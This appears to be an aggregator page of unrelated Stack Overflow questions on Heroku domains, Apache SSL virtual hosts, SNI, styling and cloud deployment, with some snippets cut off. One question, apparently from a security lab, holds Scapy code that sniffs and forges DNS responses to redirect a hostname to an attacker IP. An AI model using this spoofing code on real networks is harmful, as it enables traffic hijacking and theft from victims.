How can I make two domain names work with a heroku app?

2022-01-19 16:40 Rabi Siddique imported from Stackoverflow

I have a heroku app, that is configured with two domain names. Say abc.com and www.abc.com. My problem is visiting these two domain names show me different results for authentication. Say, if I'm logged in from abc.com and then I visit www.abc.com, I will have to re-login at www.abc.com, even though I logged in from abc.com.

How can I fix this at heroku?. I am a beginner at this. Any help will be appreciated. Please do guide.

How to check CRL https, url , revoked or not?

Write a bash script to check whether the given certificate (sample cert.cer) is on the Certificate Revocation List (CRL) from the Certificate Authority (CA) by following the steps below : • Step 1: Extracting and printing out the CRL HTTP(S) of CA’s Server.

• Step 2: Extracting and printing out CRL’s filename. • Step 3: Downloading the CRL from CA’s server (you can use the wget command). • Step 4: Extracting the list of serial numbers from the CRL. • Step 5: Extracting the serial number from the given certificate (sam- ple cert.cer).

• Step 6: Checking whether the given certificate’s serial number (extract- ed in Step 5) is from the CA’s CRL (extracted in Step 4) or not. If “yes”, please print out “The given certificate is on the CRL, i.e., revoked by the CA”, otherwise please print out “The given certificate is not on the CRL, i.e., not revoked by the CA”.

Having issues with multi virtual hosts with ssl

In the first run my first virtual host was successfully running well with SSL however when I tried to do it on second one it is not working anymore First I edit apache httpd-xampp.conf and added this, So basically based on this article: Using Multiple SSL Certificates in Apache with One IP Address

<VirtualHost *:80>
    DocumentRoot "C:/xampp/htdocs/proteksyon"
    ServerAdmin admin@proteksyon.ph
    ServerName proteksyon.ph
    ServerAlias *.proteksyon.ph
    SSLEngine On
    SSLCertificateFile "crt/proteksyon.ph/server.crt"
    SSLCertificateKeyFile "crt/proteksyon.ph/server.key"
    <Directory "C:/xampp/htdocs/proteksyon">
        AllowOverride All
        Order Allow,Deny
        Allow from all
        Require all granted
    </Directory>
</VirtualHost>
<VirtualHost *:443>
    DocumentRoot "C:/xampp/htdocs/proteksyon"
    ServerAdmin admin@proteksyon.ph
    ServerName proteksyon.ph
    ServerAlias *.proteksyon.ph

    SSLCertificateKeyFile "crt/proteksyon.ph/server.key"
    <Directory "C:/xampp/htdocs/proteksyon">
        AllowOverride All
        Order Allow,Deny
        Allow from all
        Require all granted
    </Directory>
</VirtualHost>

<VirtualHost *:80>
    DocumentRoot "C:/xampp/htdocs/clique"
    ServerAdmin support@clique.me
    ServerName clique.me
    ServerAlias clique.me
    SSLEngine On

And this is the inputs for my hosts file:

127.0.0.1 clique.me
127.0.0.1 proteksyon.ph

When accessing the proteksyon.ph everything is good and SSL is working fine it access the file of proteksyon and htdocs. When it comes to accessing/browsing the clique.me it throw this kind of error:

How to prevent SNI from displaying incorrect web page over port 443?

I have a server with ISPConfig 3 installed.

When a new website is added to the server and is accessed via a browser with HTTPS, the website that is displayed is that of the first website (alphabetically).

This appears to be due to SNI.

How do I (with apache), ensure that a website is still served over HTTPS with an error even if no certificate is installed.

Normally a site simply displays a warning but allows one to proceed to the website.
Hosting frontend and backend on two different Heroku domains

I made a full-stack web application with React and Express as part of my portfolio projects. I tried publishing it on Vercel and Heroku (tried Netlify also) but unfortunately, I learned that sending cookies between two different domains is not possible. The next thing I tried, is to host both on Heroku (e.g: client.herokuapp.com & server.herokuapp.com) which, unfortunately, does not work also.

What else do I need to do? I am still learning how to deploy properly so I might miss out on some workarounds. Advice is greatly appreciated.

Heroku buttons styling issue

I made an app locally and pushed it on Heroku. The app is working perfectly on Heroku, however on the Homepage I have 2 buttons ( login and register ). When I run my app locally my buttons have some whitespace in between and they are rounded ( I am using tailwind for this). But on Heroku both buttons are not rounded and there is no whitespace in between them. When I inspect the button on Heroku, I see: class:".... rounded-full", which is what I expected and should have made the button rounded. Anyone has any idea what could cause this and how I can solve this ?

This is how my index.js looks like:

export default function Login() {
  return(
    <div>
      <Loginbuttons/>
    </div>
   )
}

and Loginbuttons.js defined as:

import Link from 'next/link'

export default function Loginbutton(props){
  return (
   <div>
   <div className = 'block'>
    <button
      style={{width:"10%", paddingTop:"15px",   paddingBottom:"15px"}}
      className='mt-10 mb-10 bg-blue-500 hover:bg-blue-700 text-wgvhite font-bold py-2 px-4 rounded-full'>
        <Link href='login' style={{textDecoration: 'none'}}>Login</Link>
    </button>

    <button
      style={{width:"10%", paddingTop:"15px", paddingBottom:"15px"}}
      className='mt-10 mb-10 ml-10 bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-full'>

Hosting a Strapi 4 + Gatsby 4 website in the same NodeJs server

I am working on a business site with Events and Blog page that can be updated. For this I have chosen Gatsby 4 and Strapi 4. But in most of the tutorials, they have hosted these two separately like Heroku and Netlify/Digital Ocean. I am hoping for a cost effective NodeJs server from a local hosting service. How can I use the same NodeJS server to deploy a Gatsby 4 + Strapi 4 website?

Why Python dns.resolver Doesn't Stop with Scapy's Sniff?

Please Note, the provided answer doesn't solve the problem for me.

In python I have:

resolver_ip = 127.0.0.2
resolver = dns.resolver.Resolver()
resolver.nameservers = [127.0.0.2] # IP of My DNS Server
# Query the DNS resolver for our hostname's IP
result = resolver.query("LetumiBank.com")
print('Bye')

I'm using python's scapy sniff function to detect whenever there is a DNS query to 127.0.0.2 to fake a response such that WEBSITE_NAME will get an ip equal to: 127.0.0.3. My code was:

def sniff_and_spoof(source_ip):
    # TODO: Open a socket and bind it to the attacker's IP and WEB_PORT.
    # This socket will be used to accept connections from victimized clients.
    packet_filter = " and ".join([
        "udp dst port 53",  # Filter UDP port 53
        "udp[10] & 0x80 = 0",  # DNS queries only
        "dst host 127.0.0.2"
    ])
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
        client_socket.bind((source_ip, WEB_PORT))
        client_socket.listen()
        cb = lambda org_arg: dns_callback(org_arg, (client_socket, source_ip))
        sniff(filter=packet_filter, prn=cb, store=0, iface=net_interface, count=1)

and:

def dns_callback(packet, extra_args):
    # TODO: Write callback function for handling DNS packets.
    # Sends a spoofed DNS response for a query to HOSTNAME and calls handle_tcp_forwarding() after successful spoof.
    eth = Ether(
        src=packet[Ether].dst, dst=packet[Ether].src
    )

    ip = IP(
        src=packet[IP].dst, dst=packet[IP].src
    )

    udp = UDP(
        dport=packet[UDP].sport, sport=packet[UDP].dport
    )

    dns = DNS(
        id=packet[DNS].id, qd=packet[DNS].qd,
        aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
        ar=DNSRR(
            rrname=packet[DNS].qd.qname,
            type='A',
            ttl=600,
            rdata='127.0.0.3')
    )

    response_packet = eth / ip / udp / dns
    sendp(response_packet, iface=net_interface)

Even though I can see a good response in wireshark the query is being send over and over again and Bye doesn't seem to get ever printed. Why is that?

Wireshark output: (request in line 4 and its response in line 5)

enter image description here

Keeping the code running gives the following error:

result = resolver.query("LetumiBank.com")
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 992, in query
    timeout = self._compute_timeout(start, lifetime)
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 799, in _compute_timeout
    raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 30.00104331970215 seconds

UPDATE:

Tried this too, same problem:

eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)

ip = IP(src=packet[IP].dst, dst=packet[IP].src)

udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)

dns = DNS(
    id=packet[DNS].id,
    aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
    qd=DNSQR(  # Query
        qname=packet[DNSQR].qname
    ),
    an=DNSRR(  # Answer
        rrname=packet[DNS].qd.qname,
        type='A',
        rclass=1,
        ttl=600,
        rdata='127.0.0.3'
    )
)

Point custom Domain to the google cloud function through global https loadbalancer with serverless NEG as backend

I had a running myfunctionname cloud function with HTTP trigger URL:

For Ex- https://us-central1-my-project.cloudfunctions.net/myfunctionname

Now I want to map this cloud function URL to public domain URL

For Ex- https://my-domain.com/path

Public domain URL is setup in DNS to point to loadbalancer. Global external https loadbalancer is created with host, path rules & backend service

Host: my-domain.com , Path Rule: /path , Backend Service: Serverless NEG pointing to myfunctionname cloud function

Now if I hit the API endpoint with the Cloud Function Http trigger URL, API response is 200 OK, it's working

GET Request on endpoint https://us-central1-my-project.cloudfunctions.net/myfunctionname/show/jobs

But when I hit the API endpoint with the custom domain URL:

GET Request on endpoint https://my-domain.com/path/show/jobs

API error response is 404 Not Found. Cannot GET /myfunctionnameshow/jobs

Can someone please point out the issue why my custom domain URL is not redirected to cloud function URL? Actually my expectation is hitting https://my-domain.com/path/show/jobs API endpoint should be equivalent to hitting https://us-central1-my-project.cloudfunctions.net/myfunctionname/show/jobs API endpoint.
Can I specify a custom Dockerfile name with Heroku container:push?
I have a project with two Dockerfiles in the same directory:
```
project
  /Dockerfile.web
  /Dockerfile.worker
```
I can use them to build different parts of the same project very easily with docker-compose. However, I struggle to tell heroku container:push that I want to use a custom Dockerfile. It seems I can only refer to custom directories to build.

Is there a solution to that?

Heroku Angular Preview app connecting to backend preview app
I have an Angular app that connects to several Nodejs apps. Each of these apps are in different repos.
```
    Frontend
     /     \
Backend1  Backend2
```
In the Angular app we have a typical environment.ts and several environment.<env>.ts In each of these files we have the URLs to the different backend services that we make calls to.

I would like to setup the heroku preview app for each repo when we make a new Pull Request in any repo(I think). In many usecases I have the normal preview apps working fine.

✓ Make style changes in the angular app ✓ Make a change to the computation of data in one of the back end services ✘ Format data in a new way to display in a new component This example creates a new change in the Backend1 service and the Angular App

The preview environment for Angular app will use the normal Backend1 URLs and not get the changes from the new Backend1 Preview app.

Somehow the environment.ts needs to change or a environment.<preview_id>.ts needs to be created and used in the build.

Is there any configuration for this or am I looking at some heavy devops work?
